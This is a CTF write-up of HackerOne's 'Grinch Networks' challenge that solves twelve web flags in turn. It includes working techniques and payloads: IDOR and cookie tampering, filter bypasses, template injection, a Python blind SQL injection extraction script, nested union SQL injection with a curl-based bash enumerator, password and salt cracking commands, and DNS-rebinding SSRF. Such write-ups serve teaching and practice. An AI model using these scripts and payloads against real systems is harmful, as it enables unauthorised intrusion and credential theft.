H1-CTF Grinch Networks[Writeup]

osama alaa
26 min readDec 30, 2020

Introduction

Hello All

This is a Hackerone CTF called Grinch Netowrks :))

The journey started from here when I saw this tweet , In fact I thought I may play some of them in my spare time and I didn’t think that it will be wonderful and challenging me to complete it specially last challenges.

Started with the scope in the ctf https://hackerone.com/h1-ctf?

Challenges :

This was the challenge https://hackyholidays.h1ctf.com/

Flag1

First , I get the first flag from robots.txt .

Then I moved to this page s3cr3t-ar3a which was also in robots.txt

Flag2

By inspecting the jquery.min.js file , I found that there were some variables that construct the second flag.

After putting a break point , I can print the flag as shown:

The flag is set in the data-info attribute after the page loaded.

After what we can go to Apps page which has the challenges :

People Rater / Flag3

It was a page which has buttons , each button will display information regarding people.

These people have entries , and we can access them by setting the id with base64 value as shown:

The decoded value of base64 is {“id”:[id of the person]}

By changing the id to 1 :

and encoded the value to base64 , we can get the third flag:

Swag Shop /Flag 4

This challenge is a swag shop .

we can explore the requests while loading the main page, we discovered that there is an api endpoint.

Whenever you get api endpoint , you have to brute force other files/directories under this api , that what I have done using burp intruder.

I got two additional endpoints ; sessions and user.

sessions endpoint gives user sessions in base64 encoded.

All sessions give the same value of user after decoded it which is null except one session.

This session differ that the other with a value similar to uuid format.

We got also user endpoint which gives bad request because of missing fields.

In this case we need to brute force the parameters with possible verb tampering like GET,PUT,POST requests.

But get request was enough in this challenge , and we got uuid parameter which needs a correct value , and this value we have got from sessions file.

Using the value from sessions file , we can access the user information with fourth flag.

Secure Login / Flag5

This challenge was simple login , we user enumeration vulnerability , as when we use wrong username it gives Invalid Username.

we can brute force the usernames using burp intruder.

Something important is to use the Grep-Match feature as shown:

The Grep-Match feature here is very important as the length of Invalid Username is similar to the length of Invalid Password , and here we got valid username which is access.

Using the same way we can brute force the password.

We can get the password which is computer.

After authenticating we can find empty file list.

Let’s inspect the cookie , which is base64 encoded value.

We see that the admin value is false , so we can change it to true .

and encoded it in base64 and sent the request as shown:

We can got the file which is zip file protected with password.

Using this command we can get the password :

fcrackzip -u -D -p ./rockyou.txt ./my_secure_files_not_for_you.zip

and this is the fifth flag.

My Diary / Flag6

This is a calendar which use entries.html template.

as we have parameter called template, it is likely to have something interesting , if the file doesn’t exist it will redirected you to template?entries.html , the web application also remove special characters , so we can’t perform path traversal attack.

Using common files like index.php , we can read the source code of this file.

This php code does the follows :

  • Check for template parameter sent in GET method
  • Removes all characters except a-z , A-Z , 0–9 , .
  • Removes the string admin.php , secretadmin.php
  • If the file exists , it will print its content , otherwise it will redirected to entries.html

Accessing secretadmin.php not allowed directly.

I tried to simulate the code on my server for easy debug.

The special characters have been removed as shown:

The application removes admin.php as string .

Using combination like this , we can bypass the first check which remove admin.php.

Then we can bypass the two checks using this string:

secretadminsecretadmin.phpadminadmin.php.php.phpsecretadminadmin.php.php

This the illustration of what has been happened :

Using this value in the challenge ,we can read secretadmin.php with the sixth flag.

Hate Mail Generator / Flag7

This challenge was about sending emails with template format.

There was an example of this template as shown :

It embeds the html templates using {{template:name of template}} , and get the value of {{name}}.

We can try to modify the result by changing the preview_markup , and preview data parameters

First thing we can do with these curly brackets is to inject template injection payloads , one of them is {{2*2}} , but it doesn’t work and gives instead missing key 2*2 , that comes to a fact , that we define keys and values in the preview_data parameter to be used in preview_markup parameter.

so if we define a key called 2*2 , we can use it also and its value will be alice as shown, so the format of key:value pair will be:

 {“key1”:”value1”,”key2”:”value2”,"key3":"value3"}

and we can use them with {{key1}} that gives us value1

we have also template attribute which takes html template file , we can try change it to not existing file to see its behavior , and we disclose the directory of the templates , we can do this also using directory brute force.

By opening this directory , we can see all templates via directory listing vulnerability , and there is interesting admin template , so it is obvious that it will be our target.

Trying to open this template directly , but it gives forbidden.

Trying to load the admin template using template attribute , but it was also useless.

After thinking , I tried to make the output of template attribute as a value of a key , so we have a key “2*2” has a value {{template:admin_template}} , so when we call this key “2*2” , the admin html template will be loaded with seventh flag.

Forum / Flag8

This challenge is a forum has posts , and commens.

I tried to brute force the posts / comments , but i can’t get rather than exists in the UI.

There was a login page with no vulnerabilities.

There was also phpmyadmin with no vulnerabilities.

This challenge was hard because there was no any vulnerability in the application itself and solution wasn’t predictable for me as a ctf challenge ,no one expect to search for the source code in the internet :D

I tried to search for this source code in the github repository , I saw the description of the challenge first to see any valuable information , and i know that Grinch was the author of the application .

So , I searched for the user Grinch , with most recently joined .

Then I found this source code of the application , I tried to see if there was vulnerabilities quickly , but the most thing that I thought , there will be credentials disclosed in a commit.

I found a commit called small fix which seemed to be interesting.

And it had credentials of database , which is also credentials of phpmyadmin.

Using this credentials , I can access the phpmyadmin and get the hashed password of grinch user.

So I can get the password of the hash.

Using the credentials , I can enter the secret posts and get the eighth flag.

Evil Quiz / Flag9

This challenge was asking for your name , and perform a quiz then gives the score , there was also a login page , but with no vulnerabilities .

The quiz is to take parameters and redirected you to the score , the quiz page has no vulnerabilities also.

This was the score page , it has something interesting , which is the number of players sharing the same name , so admin name was used 48 times.

When I saw this , it comes to my mind that it may second order sql injection , so I tried to use a name of this query which leads to true result

admin' or 1='1--

The score said that there were 1213819 players have the same name , so the name was the result of the query not the string itself , this means there were 1213819 players had same name which for sure was ‘true’ value.

To make sure , I used another name instead of admin .

and gives me only 1 player with this name.

Then I used true statements again .

It gives me huge number of players also.

Then I tried to use another query which uses some mysq functions , so that I could build a script to exfiltrate data .

I used this one:

admin' or ASCII((substring('osama',1,1))='111--

which will check the ascii code of first character “o” if it is equal to 111

and we can see that it gives a true statement.

Last thing to build the script , we need to see the false statement , so I used the previous query but with > instead of = .

The false statement gives ‘There is 0 other player(s)’ string in the response.

To build the script , we have these things:

  • Send post request to evil-quiz with name parameter.
  • Send get request to score endpoint and see the response.
  • If the response doesn’t have ‘There is 0 other player(s)’ strings , so this means the statement is true.

After using simple queries to get the database name , table name , columns name , I found that the column name was password, username , and the table name was admin.

So , we need to use this payload at the end

osamaaaa' or (ASCII(substr((SELECT password from admin limit 0,1) ,i,1)))='chr--

This was the script:

import requests
cookies = {
'session': '7d907d8fa3242d9457b08f5aafae4ba2',
}
headers = {
'Connection': 'keep-alive',
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1',
'Origin': 'https://hackyholidays.h1ctf.com',
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-User': '?1',
'Sec-Fetch-Dest': 'document',
'Referer': 'https://hackyholidays.h1ctf.com/evil-quiz',
'Accept-Language': 'en-US,en;q=0.9',
}
charset="abcdefghijklmnopqrstuvwxyz0123456789.ABCDEFGHIJKLMNOPQRSTUVWXYZ_@-.!#$"def get_len():
#res = ""
for len in range(30):
#char=ord(chr)
#payload= "ss' or (ASCII(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,"+str(i)+",1)))='"+str(char)+"--"
#payload= "ss' or (ASCII(substr((SELECT column_name FROM information_schema.columns WHERE table_name = 'admin' limit 1,1) ,"+str(i)+",1)))='"+str(char)+"--"
payload= "osamaaaa' or (SELECT length(password) from admin limit 0,1)='"+str(len)+"--"
data = {"name": payload}
response = requests.post('https://hackyholidays.h1ctf.com/evil-quiz', headers=headers, cookies=cookies, data=data)
response = requests.get('https://hackyholidays.h1ctf.com/evil-quiz/score', headers=headers, cookies=cookies)
#print response.text
#print (payload)
if 'There is 0 other player' not in response.text:
print ("len is "+str(len))
return len
break
def req_osama(i):
#res =""
for chr in charset:
char=ord(chr)
payload= "ss' or (ASCII(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,"+str(i)+",1)))='"+str(char)+"--"
payload= "ss' or (ASCII(substr((SELECT column_name FROM information_schema.columns WHERE table_name = 'admin' limit 1,1) ,"+str(i)+",1)))='"+str(char)+"--"
payload= "osamaaaa' or (ASCII(substr((SELECT password from admin limit 0,1) ,"+str(i)+",1)))='"+str(char)+"--"
data = {"name": payload}
response = requests.post('https://hackyholidays.h1ctf.com/evil-quiz', headers=headers, cookies=cookies, data=data)
response = requests.get('https://hackyholidays.h1ctf.com/evil-quiz/score', headers=headers, cookies=cookies)
#print response.text
#print (payload)
if 'There is 0 other player' not in response.text:
return chr
#print (res)
break
y=""
for char_exists in range(1,get_len()+1):
y=y+(req_osama(char_exists))
print (y)

This was the result of script :

Using the admin username , with password S3creT_p4ssw0rd-$ , we can successfully login and get ninth flag.

Signup Manager / Flag10

This was simple signup , with no database , just file to store the data , after signing up and login , no thing interesting , it seems that we have create a user and escalate it to admin , or create admin user .

I found README.md in the comments as shown:

It was the most valuable README.md I have ever seen :D

It says that we can download signupmanager.zip , and how to create admin user.

Downloading this zip file and extracting its content:

user.php


<?php
//DO NOT DELETE THE BELOW LINE
if( !isset($page) ) die("You cannot access this page directly"); ?>
<!DOCTYPE html>
<html lang="en">
<head>
<title>SignUp Manager - User Area</title>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
</head>
<body>
<div class="container" style="margin-top:20px">
<h1 class="text-center" style="margin:0;padding:0">User Area</h1>
</div>
</body>
</html>

signup.php

<?php if( !isset($page) ) die("You cannot access this page directly"); ?>
<!-- See README.md for assistance -->
<!DOCTYPE html>
<html lang="en">
<head>
<title>SignUp Manager</title>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
</head>
<body>
<div class="container" style="margin-top:20px">
<h1 class="text-center" style="margin:0;padding:0">SignUp Manager</h1>
<?php if( count($errors) > 0 ){ ?>
<div class="row">
<div class="col-md-6 col-md-offset-3" style="margin-top:15px">
<div class="alert alert-danger">
<?php foreach( $errors as $e ){ ?>
<p class="text-center"><?php echo $e; ?></p>
<?php } ?>
</div>
</div>
</div>
<?php } ?>
<div class="row">
<div class="col-md-6">
<form method="post">
<input type="hidden" name="action" value="login">
<div class="panel panel-default">
<div class="panel-heading">Login</div>
<div class="panel-body">
<div><label>Username:</label></div>
<div><input class="form-control" name="username"></div>
<div style="margin-top:7px"><label>Password:</label></div>
<div><input type="password" class="form-control" name="password"></div>
<div style="margin-top:11px">
<input type="submit" class="btn btn-success pull-right" value="Login">
</div>
</div>
</div>
</form>
</div>
<div class="col-md-6">
<form method="post">
<input type="hidden" name="action" value="signup">
<div class="panel panel-default">
<div class="panel-heading">Signup</div>
<div class="panel-body">
<div><label>Username:</label></div>
<div><input class="form-control" name="username"></div>
<div style="margin-top:7px"><label>Password:</label></div>
<div><input type="password" class="form-control" name="password"></div>
<div style="margin-top:7px"><label>Age:</label>
<select name="age">
<?php for( $i=0;$i<=120;$i++){ ?>
<option value="<?php echo $i; ?>"><?php echo $i; ?></option>
<?php } ?>
</select>
</div>
<div style="margin-top:7px"><label>First Name:</label></div>
<div><input class="form-control" name="firstname"></div>
<div style="margin-top:7px"><label>Last Name:</label></div>
<div><input class="form-control" name="lastname"></div>
<div style="margin-top:11px">
<input type="submit" class="btn btn-success pull-right" value="Login">
</div>
</div>
</div>
</form>
</div>
</div>
</div>
</body>
</html>

admin.php

<?php
//DO NOT DELETE THE BELOW LINE
if( !isset($page) ) die("You cannot access this page directly"); ?>
<!DOCTYPE html>
<html lang="en">
<head>
<title>SignUp Manager - Admin Area</title>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
</head>
<body>
<div class="container" style="margin-top:20px">
<h1 class="text-center" style="margin:0;padding:0">Admin Area</h1>
</div>
</body>
</html>

index.php

<?php
if( isset($_GET["logout"]) ){
setcookie('token',null,time()-3600);
header("Location: ".explode("?",$_SERVER["REQUEST_URI"])[0]);
exit();
}
function buildUsers(){
$users = array();
$users_txt = file_get_contents('users.txt');
foreach( explode(PHP_EOL,$users_txt) as $user_str ){
if( strlen($user_str) == 113 ) {
$username = str_replace('#', '', substr($user_str, 0, 15));
$users[$username] = array(
'username' => $username,
'password' => str_replace('#', '', substr($user_str, 15, 32)),
'cookie' => str_replace('#', '', substr($user_str, 47, 32)),
'age' => intval(str_replace('#', '', substr($user_str, 79, 3))),
'firstname' => str_replace('#', '', substr($user_str, 82, 15)),
'lastname' => str_replace('#', '', substr($user_str, 97, 15)),
'admin' => ((substr($user_str, 112, 1) === 'Y') ? true : false)
);
}
}
return $users;
}
function addUser($username,$password,$age,$firstname,$lastname){
$random_hash = md5( print_r($_SERVER,true).print_r($_POST,true).date("U").microtime().rand() );
$line = '';
$line .= str_pad( $username,15,"#");
$line .= $password;
$line .= $random_hash;
$line .= str_pad( $age,3,"#");
$line .= str_pad( $firstname,15,"#");
$line .= str_pad( $lastname,15,"#");
$line .= 'N';
$line = substr($line,0,113);
file_put_contents('users.txt',$line.PHP_EOL, FILE_APPEND);
return $random_hash;
}
$all_users = buildUsers();
$page = 'signup.php';
if( isset($_COOKIE["token"]) ){
foreach( $all_users as $u ){
if( $u["cookie"] === $_COOKIE["token"] ){
if( $u["admin"] ){
$page = 'admin.php';
}else{
$page = 'user.php';
}
}
}
}
if( $page == 'signup.php' ) {
$errors = array();
if (isset($_POST["action"])) {
if( $_POST["action"] == 'login' && isset($_POST["username"], $_POST["password"]) ){
if( isset($all_users[ $_POST["username"] ]) ){
$u = $all_users[ $_POST["username"] ];
if( md5($_POST["password"]) === $u["password"] ){
setcookie('token', $u["cookie"], time() + 3600);
header("Location: " . explode("?", $_SERVER["REQUEST_URI"])[0]);
exit();
}
}
$errors[] = 'Username and password combination not found';
}
if ($_POST["action"] == 'signup' && isset($_POST["username"], $_POST["password"], $_POST["age"], $_POST["firstname"], $_POST["lastname"])) {
$username = substr(preg_replace('/([^a-zA-Z0-9])/', '', $_POST["username"]), 0, 15);
if (strlen($username) < 3) {
$errors[] = 'Username must by at least 3 characters';
} else {
if (isset($all_users[$username])) {
$errors[] = 'Username already exists';
}
}
$password = md5($_POST["password"]);
$firstname = substr(preg_replace('/([^a-zA-Z0-9])/', '', $_POST["firstname"]), 0, 15);
if (strlen($firstname) < 3) {
$errors[] = 'First name must by at least 3 characters';
}
$lastname = substr(preg_replace('/([^a-zA-Z0-9])/', '', $_POST["lastname"]), 0, 15);
if (strlen($lastname) < 3) {
$errors[] = 'Last name must by at least 3 characters';
}
if (!is_numeric($_POST["age"])) {
$errors[] = 'Age entered is invalid';
}
if (strlen($_POST["age"]) > 3) {
$errors[] = 'Age entered is too long';
}
$age = intval($_POST["age"]);
if (count($errors) === 0) {
$cookie = addUser($username, $password, $age, $firstname, $lastname);
setcookie('token', $cookie, time() + 3600);
header("Location: " . explode("?", $_SERVER["REQUEST_URI"])[0]);
exit();
}
}
}
}
include_once($page);

index.php was the only interesting one , which we have to analyses to see if there is any vulnerability.

There was adduser function which does the following :

  • Take the first 15 characters of username,firstname,lastname and padding the rest of # , so if we entered username=osama , it will be stored osama##########.
  • Take the first 3 characters of age and padding the rest of #.
  • Take the hash of password and create random hash.
  • It adding all the previous things : username+md5(password)+md5(random)+age+firstname+lastname and adding the flag ’N’ after that and removes anything after the character number 113 then store it in users.txt

The flag N means the user is normal and not admin , so we have to change this flag to ‘Y’.

This is check functions , which take the user input and checks that :

  • there is no any special characters .
  • the length of username,firstname,lastname os more than 3 characters .
  • check if the username is already exists or not.
  • Check that the age is_numeric .

This function will build the user which we use when login , and remove the # and set the admin flag to ‘Y’ or ‘N’.

if the admin flag is Y so we can get admin page.

I deployed the code on my server , with small changes to well understand of the code , and we can see that users.txt is filled with users row by row with the method I illustrated.

I tried to make the lastname has a lot of ‘Y’ characters , but they have been cut and the last character was N also.

To solve this we have to exceed and variable with its legitimate length , after thinking I found that is_numeric is not safe to be used in this situation as we can use exponential numbers and it is_numeric as we can see in php reference https://www.php.net/manual/en/function.is-numeric.php

so 3e4 is numeric with length not exceeds 3 characters and its value is more than 3 characters which allows us to bypass the condition.

When using the age as 3e4 , we can see that the user row ends with ‘Y’ as shown:

Trying the same approach in challenge itself .

we can bypass checks and login with admin user and got the tenth flag.

Grinch Recon / Flag11

We can move to the next challenge from the above link which in Admin Area.

We can see that there is an API , with its Status coded:

We can’t reach any endpoint directly , so there may be SSRF vulnerability.

Return back to the main page of the challenge , we can find hyperlinks which move us to another page.

It is an album page with parameter called hash having a value that fetch photos of the album , we can consider that there is three albums , each album has its own hash with its photos.

By clicking on any photo , we get another endpoint which is picture having base64 encoded value in data parameter .

Let’s try to decode it , the decoded value has this format :

{"image":"image path","auth":"hashed value"}

For sure we will try to change the image value , auth value , using nested json , using null values :D any thing :D but all were useless :D

When changing the image value we got invalid authentication hash.

I left the above request , and moved to album endpoint , trying to figure out if it has a vulnerability .

I tried to test sql injection in it by using single quote and it gives Not Found.

Trying to make true query , it gives 200 OK .

Trying to use union query

hash=2121'union select 1,2,3 -- -

we can see the number ‘3’ in the response.

Using version() , we can get the database version , so it is simple union base sql injection .

I was very happy to see that :D , I thought I can dump all database and get the key for hashing function , I dumped all database but no thing useful , then I dumped all information_schema , but also no thing interesting.

After a lot of search and trials , I didn’t reach anything useful :D

Then Adam gave use very useful hint , but I didn’t understand anything from it :D

It was tragic challenge till I understood the hint which means inception injection , or sql injection in sql injection :D , it was nested sql injection , may be this concept is not very hard , but it was new for me.

We can use this article to understand it : https://coderwall.com/p/dnf8sa/nested-sql-injections

If the result of the first query is used as an input in the second query, and the first query is vulnerable, we can use the output as a “input variable” into the second query itself.

we need to make the server take the output from sql query and perform another sql injection to take this output as input to the second query to give us the hashed value.

The payload will be :

2121'union select "'union select 1,2,'value'-- -",2,3 -- -

So here we got the path with 3 value in base64 with the correct hash value ,we can use it and got 404 status code.

As we can’t control the whole path , we can use path traversal to request api : ../api

Using the same thing , we got Invalid content type detected which means the response gives 200 but not image , so can’t be rendered , so we can use this technique to enumerate endpoints.

This is simple bash script that trying to request the vulnerable endpoint and extract the base64 value , then uses this value in second request.

api=$1
res=`curl -s "https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=2121%27+union+select+%22%27union+select+%271%27,2,%27$api%27--+-%22,2,version()+--+" | grep '<img class' | cut -d '?' -f 2 |grep -o "e.*" | cut -d '"' -f 1`
res2=`curl -s "https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/picture?data=$res"`
echo $res2

Using these values:

  • ../api/user/sa gives 404 which means this endpoint not found
  • ../api/user gives Invalid content type detected which means this endpoint exists.

Using simple for loop

for i in `cat common.txt`; do bash recon.sh "../api/$i" | grep -v 404 ; if [[ $? = 0 ]];then echo $i;fi; done

we can find the endpoints which exists.

The ping endpoint was useless.

Let’s enumerate user endpoint parameters with the same method , then we found that there two parameters : username, password.

I tried fuzzing this parameters, till I reach that putting their values with ‘%’ character gives Invalid content type , so it is vulnerable to a kind of sql injection , as the back end used LIKE % in for username/password checking.

If we userd username=g% and gives Invalid content type, this means the first character of username is g , otherwise the response will be 204.

Using this simple script we can enumerate the username

and we got the username which is grinchadmin.

with the same way we can enumerate the password.

Which gives the password as shown:

Using the previous credentials we can login to the Attack Box :

and got the eleventh flag.

Attack Box / Flag12

After reaching the Network Attack Server , we can launch attacks from the Attack button , which will send GET request with base64 payload.

Then it will redirect you to attacking the host as shown:

The base64 decoded value is

 {“target”:[ip/hostname],”hash”:[integrity hash]}

if we tried to change any value of the hash or target .

and send it after encoding it with base64 , it gives invalid hash.

we can assume that the hash is md5 of secret key or salt in addition to the hostname like that:

md5(salt+203.0.113.33)=5f2940d65ca4140cc18d0878bc398955

So we can construct the wordlist which used to brute force this hash , and after that we can get the salt , as we have the hostname , and the hash , but we need the salt.

Using this command :

sed 's/$/203.0.113.33/' rockyou.txt > rockyou_salt.txt

we added the string ‘203.0.113.33’ to the end of each line in the rockyou wordlist.

Using hashcat command we can get the salt as shown:

The salt is :

mrgrinch463

So it is obvious that we need to make the request to localhost so that we can ddos the network , which is the target of this challenge.

We began with 127.0.0.1 , so we calculated the hash as shown

Then encoding the payload format to base64 :

We can see that the application abort the attack as it is local network.

We can try also to use hostname which will be resolved to l27.0.0.1 like spoofed.burpcollaborator.net .

But it also failed :

We can use dnsrebind technique which is illustrated in this article : https://geleta.eu/2019/my-first-ssrf-using-dns-rebinfing/ , simply , we have two functions ; first one will check if the hostname is blacklisted or not , if it isn’t blacklisted , it will let you use the second function which will request the hostname .

What if we have a hostname that is resolved first time to any whitelisted/(not blacklisted) IP “8.8.8.8”, and after that it is resolved to blacklisted IP ‘127.0.0.1’ .

This is vulnerable code for example :

in line 6 , the getHostname will check using the first dns query which gives 8.8.8.8 , so it says ok , go to the line 7 in which request.get function will do the second dns query which gives 127.0.0.1 , but we can return to line 6 again :D :D , so the request will be done with the IP 127.0.0.1.

We can use this online tool to do so , this DNSbin will be resolved for one time to 8.8.8.8 , then second time to 127.0.0.1 .

Unfortunately the tool is down now : http://rbnd.gl0.eu/dnsbin

Using the Dnsbin created , we can create the hash:

We can launch the attack again as we did before , as we can see that first time it is resolved to 8.8.8.8 , and the attack is launched against 127.0.0.1.

The attack is performed successfully , and got the final flag :D

Thanks for reading.

Refrences:

https://www.php.net/manual/en/function.is-numeric.php

http://rbnd.gl0.eu/dnsbin

--

--